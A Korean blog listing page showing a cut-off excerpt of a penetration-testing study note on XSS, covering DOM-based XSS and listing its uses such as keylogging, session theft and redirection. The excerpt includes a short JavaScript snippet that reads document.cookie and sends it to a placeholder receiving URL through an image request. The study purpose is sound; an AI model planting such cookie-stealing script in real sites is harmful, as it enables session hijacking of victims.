목록2024/12/20 (1)

Almon Dev

모의해킹 공부 10주차 (XSS)

10주 차 정리 XSS (Cross-site Scripting)  Dom Based XSS파라미터를 브라우저에서 조립하는 것을 이용해 스크립트를 실행하는 기법입니다.=> Reflected와는 다르게 서버 응답에 포함되어 있지 않습니다.ex) js를 이용한 태그 생성 및 수정  XSS 활용xss 취약점이 있을 경우 키로거, 세션 탈취, 악성 페이지로 리다이렉션 등이 있을 수 있습니다. 1. 세션 탈취let cookieData = document.cookie;let img = new Image();img.src = '쿠키를 받을 url?cookie=' + img document.cookie를 이용해서 피해자의 쿠키를 cookieData에 저장한 뒤이미지 태그를 생성해서 src를 설정해 해당 url에 GET ..
모의해킹/모의해킹 2024. 12. 20. 03:17
이전 Prev 1 Next 다음